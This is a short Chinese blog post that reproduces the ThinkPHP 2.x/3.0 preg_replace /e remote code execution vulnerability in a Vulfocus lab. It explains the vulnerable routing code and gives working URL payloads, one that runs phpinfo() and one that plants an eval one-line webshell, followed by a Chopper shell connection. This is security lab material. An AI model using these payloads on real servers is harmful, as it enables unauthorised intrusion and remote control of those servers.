阅读 92

thinkphp2.x任意代码执行漏洞复现

 

 

Thinkphp2.x 任意代码执行漏洞

 

影响版本:tp2.x   tp3.0

 

漏洞影响:代码执行,写入一句话getshell

 

漏洞成因:在 ThinkPHP ThinkPHP 2.x 版本中,使用 preg_replace 的 /e 模式匹配路由:

$res = preg_replace(‘@(\w+)‘.$depr.‘([^‘.$depr.‘\/]+)@e‘, ‘$var[\‘\\1\‘]="\\2";‘, implode($depr,$paths))

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

 

直接在Vulfocus集成靶场中进行复现。
打开靶场
 

 

 


利用POC验证,执行phpinfo()
/index.php?s=/index/index/xxx/${@phpinfo()}
 

 

 


然后试着写入一句话木马
/index.php?s=/index/index/xxx/${${@eval($_POST[123])}}
 

 

 


可以看到页面报错同时把thinkphp的版本也爆出,接着用菜刀连接
 

 

 


拿到shell

 

 

Thinkphp2.x 任意代码执行漏洞

原文:https://www.cnblogs.com/noob199/p/15113761.html

文章分类
代码人生
版权声明:本站是系统测试站点,无实际运营。本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 XXXXXXo@163.com 举报,一经查实,本站将立刻删除。
相关推荐